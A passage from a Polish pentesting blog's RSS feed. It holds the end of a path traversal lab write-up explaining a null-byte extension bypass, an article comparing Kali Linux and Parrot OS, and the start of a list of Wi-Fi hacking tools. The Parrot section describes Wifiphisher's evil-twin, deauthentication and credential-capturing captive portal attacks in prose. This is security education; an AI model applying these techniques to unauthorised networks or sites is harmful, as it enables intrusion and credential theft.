<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-3.png"><img loading="lazy" decoding="async" width="1024" height="478" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-3-1024x478.png" alt="File path traversal, validation of file extension with null byte bypass" class="wp-image-15110" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-3-1024x478.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-3-300x140.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-3-768x359.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-validation-of-file-extension-with-null-byte-bypass-3.png 1529w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15110" /></a></figure>



<p class="has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-25 wp-block-paragraph"><strong>Bajt zerowy</strong> (inaczej znak pusty, null character) jest zdefiniowany w standardach ASCII i Unicode Bajt. Oznacza koniec łańcucha. Bajt zerowy jest oznaczony: <strong>%00.</strong> Wszystko co się za nim znajduje jest ignorowane. Zatem w ten sposób oszukaliśmy mechanizm zabezpieczający w tym zadaniu, który tylko sprawdził czy na końcu tego zapytania znajduje się rozszerzenie .png.</p>
<p>Artykuł <a href="https://pentestuj.pl/path-traversal-web-security-academy-portswigger/">Podatność Path Traversal &#8211; rozwiązanie zadań PortSwigger wraz z omówieniem</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/path-traversal-web-security-academy-portswigger/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Kali Linux vs Parrot OS – który system jest lepszy do testów bezpieczeństwa</title>
		<link>https://pentestuj.pl/kali-linux-vs-parrot-os/</link>
					<comments>https://pentestuj.pl/kali-linux-vs-parrot-os/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 17 Jan 2025 07:00:00 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15224</guid>

					<description><![CDATA[<p>Porównanie: Kali Linux vs Parrot OS. Chcesz się zajmować etycznym hackingiem i nie wiesz który system wybrać – Kali Linux czy Parrot OS? Obie dystrybucje Linuxa są przeznaczone do testów penetracyjnych i w swoim arsenale mają domyślnie zainstalowane narzędzia skierowane do specjalistów ds. bezpieczeństwa. Oczywiście nie są to jedyne dystrybucje tego typu, ale niewątpliwie są [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/kali-linux-vs-parrot-os/">Kali Linux vs Parrot OS – który system jest lepszy do testów bezpieczeństwa</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Porównanie: Kali Linux vs Parrot OS. Chcesz się zajmować etycznym hackingiem i nie wiesz który system wybrać – Kali Linux czy Parrot OS? Obie dystrybucje Linuxa są przeznaczone do testów penetracyjnych i w swoim arsenale mają domyślnie zainstalowane narzędzia skierowane do specjalistów ds. bezpieczeństwa. Oczywiście nie są to jedyne dystrybucje tego typu, ale niewątpliwie są najpopularniejsze. W artykule tym porównamy Kali Linux i Parrot OS głównie pod kątem wymagań sprzętowych, wydajności, dostępnych narzędzi, wsparcia i aktualizacji, a także samej obsługi systemu. Artykuł ma na celu pomóc Ci w wyborze odpowiedniego systemu do pracy.</p>



<h2 class="wp-block-heading">Kilka słów o Linuxie</h2>



<p class="wp-block-paragraph">Linux to rodzina systemów operacyjnych opartych na jądrze Linux, które zostało stworzone przez Linusa Torvaldsa w 1991 roku. Jest to otwarte oprogramowanie, co oznacza, że kod źródłowy jest dostępny publicznie i można go modyfikować, dostosowywać do swoich potrzeb i dystrybuować zgodnie z warunkami licencji GPL (GNU General Public License). Linux jest popularny zarówno w środowiskach użytkowników domowych, jak i w biznesie, a także stanowi podstawę dla innych systemów operacyjnych, takich jak np. Android. Charakteryzuje go stabilność, elastyczność i dostępność wielu dystrybucji, co oznacza, że ​​użytkownicy mogą wybierać spośród różnych wersji systemu Linux, z których każda ma inne cechy i domyślnie zainstalowane narzędzia.</p>



<h2 class="wp-block-heading">Czym jest dystrybucja Linuxa</h2>



<p class="wp-block-paragraph">Dystrybucje Linuxa są to różne wersje tego systemu operacyjnego. Różnią się między sobą graficznym interfejsem użytkownika, zestawem domyślnie zainstalowanych narzędzi, politykami aktualizacji, a także innymi cechami.</p>



<p class="wp-block-paragraph">Pewne wersje Linuxa są stworzone z myślą o osobach, które dopiero zaczynają przygodę z tym systemem operacyjnym (np. Ubuntu lub Linux Mint). Mają one intuicyjny interfejs i są proste w obsłudze. Inne (np. Arch Linux lub Gentoo) są zaprojektowane z myślą o bardziej doświadczonych użytkownikach, którzy potrzebują zaawansowanych narzędzi i chcą w pełni dostosować system do swoich potrzeb.</p>



<p class="wp-block-paragraph">Istnieje też kilka dystrybucji Linuxa zaprojektowanych z myślą o pentestach. Oto kilka z nich:</p>



<ul class="wp-block-list">
<li>Kali Linux</li>



<li>Parrot Security OS</li>



<li>BlackArch Linux</li>



<li>BackBox</li>



<li>Pentoo</li>
</ul>



<p class="wp-block-paragraph">Niewątpliwie najbardziej popularny jest Kali Linux i Parrot Security OS.</p>



<h2 class="wp-block-heading">Kilka słów o Kali Linux i Parrot Security OS</h2>



<p class="wp-block-paragraph">Kali Linux i Parrot Security OS są to dystrybucje Linuxa przeznaczone do testów bezpieczeństwa. Obie oparte są na Debianie, który jest jedną z najstarszych, najczęściej używanych i najbardziej stabilnych dystrybucji Linuxa. Jego pierwsza wersja pochodzi z 1993 roku. Ponieważ Kali Linux i Parrot Security OS mają takie samo przeznaczenie, łączy je wiele wspólnych cech. Jednak są też różnice, które mogą wpłynąć na komfort pracy pentestera.</p>



<h3 class="wp-block-heading">Kali Linux</h3>



<p class="wp-block-paragraph">Kali Linux bez wątpienia jest najpopularniejszym systemem używanym przez pentesterów/hackerów. W dużej mierze jest to spowodowane tym, że dystrybucja ta jest rozwijana przez OffSec (dawniej Offensive Security). Jest to firma zajmująca się cyberbezpieczeństwem, która zapewnia również szkolenia zgodne ze standardami branżowymi, a także znane i honorowane certyfikaty bezpieczeństwa. Ponadto wiele firm z branży bezpieczeństwa, wymaga od zatrudnionych pentesterów biegłej obsługi Kali Linuxa. Z tego względu dystrybucja ta jest najczęściej wybierana.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-co-wybrac.webp"><img loading="lazy" decoding="async" width="1024" height="416" src="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-co-wybrac-1024x416.webp" alt="porównanie kali linux i parrot os" class="wp-image-15226" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-co-wybrac-1024x416.webp 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-co-wybrac-300x122.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-co-wybrac-768x312.webp 768w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-co-wybrac-1536x624.webp 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-co-wybrac.webp 1902w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15226" /></a></figure>



<p class="wp-block-paragraph">Kali Linux wydano w 2013 roku. Wcześniej znany był pod nazwą Back Track, który był dość toporny w obsłudze i bardzo zawodny. Kali zawiera wiele poprawek względem poprzednika.</p>



<p class="wp-block-paragraph">Kali zaprojektowano z myślą o testowaniu penetracyjnym. Ta specjalna dystrybucja Linuxa nie nadaje się do używania na co dzień jako bazowy system operacyjny. Jest to kombajn naszpikowany narzędziami do łamania haseł, inżynierii wstecznej, analizy sieciowej, OSINTu, itd. System ten jest cały czas rozwijany i aktualizowany.</p>



<h3 class="wp-block-heading">Parrot OS</h3>



<p class="wp-block-paragraph">Parrot OS, podobnie jak Kali, jest dystrybucją Linuxa, która jest dostarczana w pakiecie z narzędziami wspomagającymi pracę specjalistów ds. bezpieczeństwa. Projekt jest utrzymywany i wspierany przez entuzjastów i ekspertów branżowych. Chociaż Parrot OS w porównaniu do Kali ma mniejszy zespół programistów, jest on nadal często aktualizowany, ulepszany i zyskuje coraz większą popularność w branży bezpieczeństwa. Wbrew powszechnemu przekonaniu, Parrot OS nie jest nową dystrybucją. Jego początki sięgają 2013 r. Parrot OS rozwijał się równolegle do Kali Linuxa.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-porownanie.webp"><img loading="lazy" decoding="async" width="1024" height="404" src="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-porownanie-1024x404.webp" alt="porównanie kali linux i parrot os" class="wp-image-15227" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-porownanie-1024x404.webp 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-porownanie-300x118.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-porownanie-768x303.webp 768w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-porownanie-1536x606.webp 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-czy-parrot-os-porownanie.webp 1890w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15227" /></a></figure>



<h2 class="wp-block-heading">Interfejs użytkownika</h2>



<p class="wp-block-paragraph">W pierwszej kolejności przyjrzymy się, jak wygląda interfejs obu systemów. Sprawdzimy, która dystrybucja zapewnia większy komfort pracy.</p>



<h3 class="wp-block-heading">Kali Linux</h3>



<p class="wp-block-paragraph">Kali Linux wywołuje bardzo pozytywne odczucia. Pomimo że nie jest to dystrybucja przeznaczona do korzystania na co dzień, tylko podczas testów, jej twórcy zadbali o to, żeby była przyjemna dla oka.</p>



<p class="wp-block-paragraph">Ogólne poruszanie się po systemie jest bardzo łatwe i nie powinno przysporzyć problemów nawet mniej doświadczonemu użytkownikowi. Osoby, które pierwszy raz mają styczność z dystrybucją tego typu może przytłoczyć ogrom zainstalowanych narzędzi. Jednak są one logicznie pogrupowane według kategorii. Na dodatek u góry znajduje się wyszukiwarka, dzięki której bardzo szybko można znaleźć interesujący nas dodatek, bez szukania po kategoriach. Jest to bardzo przydatne zwłaszcza dla nowicjuszy.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os.webp"><img loading="lazy" decoding="async" width="1024" height="519" src="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-1024x519.webp" alt="kali linux vs parrot os" class="wp-image-15228" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-1024x519.webp 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-300x152.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-768x390.webp 768w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-1536x779.webp 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os.webp 1920w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15228" /></a></figure>



<p class="wp-block-paragraph">Podczas instalacji można wybrać jedno ze środowisk graficznych XfCE, GNOME lub KDE Plasma. Oczywiście większość osób używa domyślnego środowiska, czyli XfCE. Opcje te nie są dostępne w live USB, który domyślnie wybiera XfCE. Warto zaznaczyć, że XfCE to lekkie i intuicyjne środowisko i w przeważającej liczbie przypadków jest najlepszym wyborem.</p>



<p class="wp-block-paragraph">Kali niedawno zmienił domyślną powłokę z Bash (Bourne-Again Shell) na Zsh (Z Shell). Bash był domyślną powłoką dla wielu dystrybucji Linuksa przez długi czas, jednak Zsh oferuje znacznie więcej możliwości. Używając Kali, bardzo często będziesz uruchamiać narzędzia z wiersza poleceń. Dzięki nowej powłoce Zsh Twoja praca stanie się bardziej wydajna.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-porownanie.webp"><img loading="lazy" decoding="async" width="1024" height="519" src="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-porownanie-1024x519.webp" alt="kali linux vs parrot os porównanie" class="wp-image-15229" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-porownanie-1024x519.webp 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-porownanie-300x152.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-porownanie-768x390.webp 768w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-porownanie-1536x779.webp 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/kali-linux-vs-parrot-os-porownanie.webp 1920w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15229" /></a></figure>



<p class="wp-block-paragraph">Kali koncentruje się na narzędziach używanych do testów penetracyjnych oraz kryminalistyki cyfrowej i dlatego nie ma domyślnie zainstalowanych aplikacji biurowych. Oczywiście można je ręcznie doinstalować. Jednak Kali nie jest zalecany do codziennego użytku. Raczej należy go traktować jako pakiet narzędzi do pracy przy testach penetracyjnych. Można go zainstalować na pendive lub na maszynie wirtualnej. Podczas testów nie raz spotkasz się z problemem, że system się wysypie i trzeba będzie go na nowo instalować. Dlatego lepiej traktować instalację Kali jako testowe, wyizolowane środowisko. Oczywiście jeśli chcesz, możesz zainstalować Kali obok używanego systemu lub jako główny system operacyjny. Jednak nie zaleca się tego.</p>



<p class="wp-block-paragraph">Podobnie jak w przypadku większości dystrybucji Linuxa, Kali jest bardzo elastyczny jeśli chodzi o stopień konfiguracji. Można instalować różne środowiska graficzne, dodawać narzędzia i łatwo zmieniać ustawienia. Jednak większość osób korzysta ze standardowej konfiguracji, ponieważ nie raz trzeba szybko postawić system na nowo.</p>



<h3 class="wp-block-heading">Parrot OS</h3>



<p class="wp-block-paragraph">Kali ma bardzo intuicyjny interfejs, jednak Parrot OS jest o klasę wyżej jeśli chodzi o wygląd. Parrot ma łatwe w obsłudze i co najważniejsze niezwykle przyjemne wizualnie środowisko do pracy. Menu jest dobrze zaprojektowane, a narzędzia również jak w Kali są logicznie podzielone na kategorie. </p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/parrot-os-do-hackowania.webp"><img loading="lazy" decoding="async" width="780" height="695" src="https://pentestuj.pl/wp-content/uploads/2024/11/parrot-os-do-hackowania.webp" alt="Parrot OS - system do hackowania" class="wp-image-15230" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/parrot-os-do-hackowania.webp 780w, https://pentestuj.pl/wp-content/uploads/2024/11/parrot-os-do-hackowania-300x267.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/parrot-os-do-hackowania-768x684.webp 768w" sizes="auto, (max-width: 780px) 100vw, 780px" data-mwl-img-id="15230" /></a></figure>



<p class="wp-block-paragraph">Parrot OS jest dostarczany z preinstalowanymi narzędziami do testów penetracyjnych. Dodatkowo ma kilka bardzo przydatnych dodatków zapewniających anonimowość, które nie są dostępne w Kali.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/05/parrot-os-prywatnosc.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/05/parrot-os-prywatnosc.png" alt="Anon Surf Parrot OS" class="wp-image-324" data-mwl-img-id="324"/></a></figure>



<p class="wp-block-paragraph">Parrot na start ma zainstalowane narzędzia biurowe i multimedialne. Może nie są zbyt rozbudowane, ale sugeruje to, że można go z powodzeniem stosować jako normalny system operacyjny. To sprawia, że Parrot OS zyskuje coraz większą popularność wśród entuzjastów bezpieczeństwa. Warto również wspomnieć o tym, że dostępna jest również wersja Home Edition, która nie ma preinstalowanych narzędzi pentesterskich i jest systemem operacyjnym do codziennego stosowania. Nie zmienia to jednak faktu, że wszelkie testy lepiej jest wykonywać w izolowanym środowisku.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/system-parrot-os-home-edition.webp"><img loading="lazy" decoding="async" width="1024" height="568" src="https://pentestuj.pl/wp-content/uploads/2024/11/system-parrot-os-home-edition-1024x568.webp" alt="system Parrot OS home edition" class="wp-image-15232" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/system-parrot-os-home-edition-1024x568.webp 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/system-parrot-os-home-edition-300x167.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/system-parrot-os-home-edition-768x426.webp 768w, https://pentestuj.pl/wp-content/uploads/2024/11/system-parrot-os-home-edition.webp 1427w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15232" /></a></figure>



<p class="wp-block-paragraph">Parrot OS używa MATE jako domyślnego środowiska graficznego. Jest ono porównywalne z XfCE pod względem łatwości użytkowania, a także wydajności. Niestety nie jest aż tak konfigurowalne. W Kali możemy wybrać środowisko graficzne, natomiast w Parrot OS mamy do dyspozycji tylko MATE.</p>



<p class="wp-block-paragraph">Parrot OS domyślnie korzysta z powłoki Bash. Ma ona mniej funkcjonalności w przeciwieństwie do Zsh, jednak na niej też z powodzeniem można wykonywać testy bezpieczeństwa. Oczywiście nic nie stoi na przeszkodzie, żeby samemu ręcznie doinstalować Zsh.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/etyczny-hacking-parrot-os.webp"><img loading="lazy" decoding="async" width="838" height="605" src="https://pentestuj.pl/wp-content/uploads/2024/11/etyczny-hacking-parrot-os.webp" alt="etyczny hacking Parrot OS" class="wp-image-15225" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/etyczny-hacking-parrot-os.webp 838w, https://pentestuj.pl/wp-content/uploads/2024/11/etyczny-hacking-parrot-os-300x217.webp 300w, https://pentestuj.pl/wp-content/uploads/2024/11/etyczny-hacking-parrot-os-768x554.webp 768w" sizes="auto, (max-width: 838px) 100vw, 838px" data-mwl-img-id="15225" /></a></figure>



<h2 class="wp-block-heading">Wymagania sprzętowe i wydajność</h2>



<h3 class="wp-block-heading">Kali Linux</h3>



<p class="wp-block-paragraph">Kali Linux do uruchomienia potrzebuje 20 GB miejsca na dysku twardym, 2 GB pamięci RAM i dwurdzeniowego procesora 2 GHz. Ogólne zadania działają dobrze przy minimalnej specyfikacji, ale jeśli podejmujesz bardziej wymagające zadania, takie jak łamanie haseł, potrzebne są dużo wyższe parametry sprzętowe.</p>



<p class="wp-block-paragraph">Czas uruchamiania jest porównywalny z innymi dystrybucjami Linuxa, a ogólna wydajność w dużej mierze zależy od dostępnych zasobów sprzętowych.</p>



<p class="wp-block-paragraph">Kali koncentruje się na częstej aktualizacji narzędzi. Niestety przez to, że aktualizacje są częste, mogą powodować problemy związane ze stabilnością systemu.</p>



<h3 class="wp-block-heading">Parrot OS</h3>



<p class="wp-block-paragraph">W przeciwieństwie do Kali Linux Parrot ma nieco mniejsze wymagania sprzętowe. Parrot OS wymaga dwurdzeniowego procesora 1 GHz i tylko 320 MB pamięci RAM. Działa płynnie na skromnym sprzęcie. Jednak tak jak w przypadku Kali, jeśli wymagane są bardziej złożone zadania, potrzebne są większe zasoby sprzętowe. Ogólna wydajność jest jednak imponująca, nawet na starym sprzęcie.</p>



<p class="wp-block-paragraph">Parrot OS ma bardziej tradycyjny harmonogram aktualizacji, dzięki czemu ma reputację stabilnego systemu operacyjnego. W pewnym stopniu wynika to z faktu, że aktualizacje są sprawdzane pod kątem kompatybilności i niezawodności. </p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th><strong>Kali Linux</strong></th><th><strong>Parrot OS</strong></th></tr></thead><tbody><tr><td>Procesor CPU 2 GHz, 2-rdzeniowy</td><td>Procesor CPU 1GHz, 2-rdzeniowy</td></tr><tr><td>1 Gb RAM (zalecane 2Gb RAM)</td><td>320 Mb RAM (zalecane 2Gb RAM)</td></tr><tr><td>Nie jest wymagana akceleracja graficzna</td><td>Nie jest wymagana akceleracja graficzna</td></tr><tr><td>Dysk 20 Gb HDD</td><td>Dysk 16 Gb HDD</td></tr><tr><td>Mogą wystąpić problemy ze stabilnością</td><td>Stabilny</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Dostępne narzędzia w Kali Linux i Parrot OS</h2>



<p class="wp-block-paragraph">Parrot Security OS tak jak Kali ma domyślnie zainstalowany cały arsenał narzędzi do pentestów. Jednak Parrot OS posiada kilka ciekawych dodatków, których nie ma w Kali Linux, a które są godne uwagi.</p>



<p class="wp-block-paragraph"><strong>AnonSurf</strong></p>



<p class="wp-block-paragraph">Anonimowość jest niezwykle ważna podczas testowania zabezpieczeń. Istnieje wiele narzędzi, które ją zapewniają. Jednym z nich jest AnonSurf, który jet domyślnie zaintalowany w Parrot Security OS.</p>



<p class="wp-block-paragraph">AnonSurf umożliwia anonimizację połączeń sieciowych poprzez przekierowanie ruchu sieciowego przez sieć Tor. Tor to sieć anonimowa, która zapewnia użytkownikom prywatność i anonimowość poprzez przekierowywanie ruchu sieciowego przez wiele węzłów, co utrudnia śledzenie i ustalenie pochodzenia ruchu. AnonSurf jest proste w obsłudze i w parę chwil możemy stać się anonimowi. Dzięki temu cały nasz ruch sieciowy przechodzi przez sieć Tor. Owszem, AnonSurf można także zainstalować na Kali Linux. Jednak w Parrot jest on już domyślnie zainstalowany, więc oszczędzamy swój czas &#x1f60a;</p>



<p class="wp-block-paragraph"><strong>Wifiphisher</strong></p>



<p class="wp-block-paragraph">Za pomocą Wifiphisher możemy stworzyć fałszywy punkt dostępowy, dzięki czemu możliwy jest atak man-in-the-middle na klientów sieci bezprzewodowych. Dzięki czemu możemy przechwycić dane uwierzytelniające, a także zainfekować ofiarę złośliwym oprogramowaniem. Oczywiście wszlekie testy należy wykonywać w swoim środowisku lub w środowisku w którym mamy pozwolenie własciciela. </p>



<p class="wp-block-paragraph">Poniżej lista dostępnych funkcjonalności:</p>



<ul class="wp-block-list">
<li>Podszywanie się pod punkt dostępowy: Wifiphisher tworzy fałszywy punkt dostępowy, który podszywa się pod wybraną sieć Wi-Fi. Punkt dostępowy atakującego emituje silniejszy sygnał, przyciągając sąsiednie urządzenia.</li>



<li>Atak deautentykacji: za pomocą deautentykacji możliwe jest odłączenie użytkowników od ich prawdziwych sieci Wi-Fi, zmuszając ich do łączenia się z fałszywym punktem dostępowym atakującego.</li>



<li>Captive Portal: Po podłączeniu do fałszywego punktu dostępowego użytkownicy są przekierowani do fałszywej strony logowania, która wygląda jak prawdziwa. W ten sposób można przechwycic dane do logowania.</li>
</ul>



<h2 class="wp-block-heading">Wsparcie i aktualizacje</h2>



<h3 class="wp-block-heading">Kali</h3>



<p class="wp-block-paragraph">Za rozwój Kali odpowiada firma OffSec. Na stronie <a href="https://www.kali.org/docs/" target="_blank" rel="noreferrer noopener nofollow">kali.org/docs</a> można znaleźć obszerną dokumentację. Obejmuje ona wszystko, począwszy od instalacji aż po bardzo szczegółowe artykuły dotyczące obsługi. </p>



<p class="wp-block-paragraph">Kali otrzymuje bardzo częste aktualizacje. Ponieważ opiera się na Debianie, do aktualizacji używa standardowego menedżera pakietów APT. Jest to łatwe i szybkie w użyciu narzędzie wiersza poleceń.</p>



<h3 class="wp-block-heading">Parrot OS</h3>



<p class="wp-block-paragraph">Parrot OS jest wspierany jedynie przez zgromadzoną wokół niego społeczność. Jednak jest on cały czas rozwijany i pojawiawią się regularne aktualizacje. </p>



<p class="wp-block-paragraph">Dokumentację dla Parrot OS można znaleźć na stronie internetowej <a href="https://parrotsec.org/docs/" target="_blank" rel="noreferrer noopener nofollow">parrotsec.org/docs</a>. Trzeba przyznać, że jest ona dość obszerna i intuicyjna. Obejmuje wiele tematów, od instalacji po konfigurację. Jednak jest mniej szczegółowa niż dokumentacja Kali.</p>



<p class="wp-block-paragraph">Parrot OS również jest oparty na Debianie i używa APT jako menedżera pakietów i aktualizacji.</p>



<h2 class="wp-block-heading">Kali Linux vs Parrot OS – którą wybrać dystrybucję?</h2>



<p class="wp-block-paragraph">Kali będzie świetnym wyborem, jeśli masz już jakieś doświadczenie w obszarze pentestów. System ten zawiera cały arsenał domyślnie zainstalowanych i pogrupowanych wg kategorii narzędzi. Kali otrzymuje bardzo częste aktualizacje i znajdziesz ogrom poradników i tutoriali, nawet w języku polskim. Jeśli jakiegoś narzędzia brakuje, bez problemu je doinstalujesz. Niestety Kali w przeciwieństwie do swojego konkurenta jest bardziej zasobożerny i mniej stabilny. System ten nie nadaje się jako bazowy system operacyjny. Należy go traktować jako pakiet narzędzi do testów penetracyjnych.</p>



<p class="wp-block-paragraph">Natomiast Parrot OS dobrze się sprawdzi, jeśli chcesz rozpocząć naukę cyberbezpieczeństwa, chociaż warto zaznaczyć, że wiele starych wyjadaczy również z powodzeniem na nim pracuje. Parrot OS jest dużo przyjemniejszy w obsłudze, przez co będzie Ci się lepiej na nim pracowało. Na plus jest także to, że jest dużo lżejszy niż Kali. Dużo osób błędnie twierdzi, że Parrot OS jest świeżą dystrybucją. Otóż system ten powstał w tym samym roku co Kali i od tego momentu jest stale rozwijany. Parrot OS jest mniej popularny, ale jest za to bardziej stabilny, a także ma ciekawe dodatki.</p>



<p class="wp-block-paragraph">Oczywiście moja ocena jest subiektywna. Dlatego zachęcam Cię do przetestowania obu systemów. Możesz je zainstalować równolegle na maszynie wirtualnej. Dzięki temu oba przetestujesz i sam stwierdzisz który system bardziej Ci odpowiada.</p>
<p>Artykuł <a href="https://pentestuj.pl/kali-linux-vs-parrot-os/">Kali Linux vs Parrot OS – który system jest lepszy do testów bezpieczeństwa</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/kali-linux-vs-parrot-os/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Narzędzia do hackowania sieci Wi-Fi</title>
		<link>https://pentestuj.pl/narzedzia-do-hackowania-sieci-wifi/</link>
					<comments>https://pentestuj.pl/narzedzia-do-hackowania-sieci-wifi/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Tue, 14 Jan 2025 07:00:09 +0000</pubDate>
				<category><![CDATA[Bezpieczeństwo Wi-Fi]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15241</guid>

					<description><![CDATA[<p>Obecnie mamy do dyspozycji wiele gotowych narzędzi wspierających codzienną pracę pentestera. Także jeśli chodzi o hackowanie sieci Wi-Fi. W artykule tym przedstawię 10 najpopularniejszych narzędzi przeznaczonych do tego celu. Pod każdym opisem znajdziesz także informację, czy jest ono domyślnie zainstalowane w systemie Kali Linux. Jeśli nie jest, to pod opisem znajdziesz komendę instalacji. Aircrack-ng Jest [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/narzedzia-do-hackowania-sieci-wifi/">Narzędzia do hackowania sieci Wi-Fi</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Obecnie mamy do dyspozycji wiele gotowych narzędzi wspierających codzienną pracę pentestera. Także jeśli chodzi o hackowanie sieci Wi-Fi. W artykule tym przedstawię 10 najpopularniejszych narzędzi przeznaczonych do tego celu. Pod każdym opisem znajdziesz także informację, czy jest ono domyślnie zainstalowane w systemie Kali Linux. Jeśli nie jest, to pod opisem znajdziesz komendę instalacji.</p>



<h2 class="wp-block-heading">Aircrack-ng</h2>



<p class="wp-block-paragraph">Jest to pakiet narzędzi przeznaczony do łamania zabezpieczeń sieciowych WEP, WPA i WPA2. Aircrack-ng umożliwia łatwe przechwytywanie pakietów danych, monitorowanie sieci oraz łamanie słabych haseł.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/cracker-hasel-wifi-aircrack-ng.webp"><img loading="lazy" decoding="async" width="488" height="457" src="https://pentestuj.pl/wp-content/uploads/2024/11/cracker-hasel-wifi-aircrack-ng.webp" alt="aircrack-ng cracker haseł WiFi" class="wp-image-15242" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/cracker-hasel-wifi-aircrack-ng.webp 488w, https://pentestuj.pl/wp-content/uploads/2024/11/cracker-hasel-wifi-aircrack-ng-300x281.webp 300w" sizes="auto, (max-width: 488px) 100vw, 488px" data-mwl-img-id="15242" /></a></figure>



<p class="wp-block-paragraph">Flagowym narzędziem tego pakietu jest komponent o takiej samej nazwie, czyli Aircrack-ng. Przechwycone handshake WPA/WPA2 łamane są metodą słownikową.</p>



<p class="wp-block-paragraph">Aircrack-ng jest preinstalowany w systemie Kali Linux. Oczywiście można go także zainstalować na Windowsie, MacOS, a także w pozostałych dystrybucjach Linuxa. Aircrack-ng ma bardzo dobrą dokumentację w języku angielskim. Dzięki temu, że jest bardzo popularny, znajdziemy w Internecie dużą ilość tutoriali i poradników.</p>



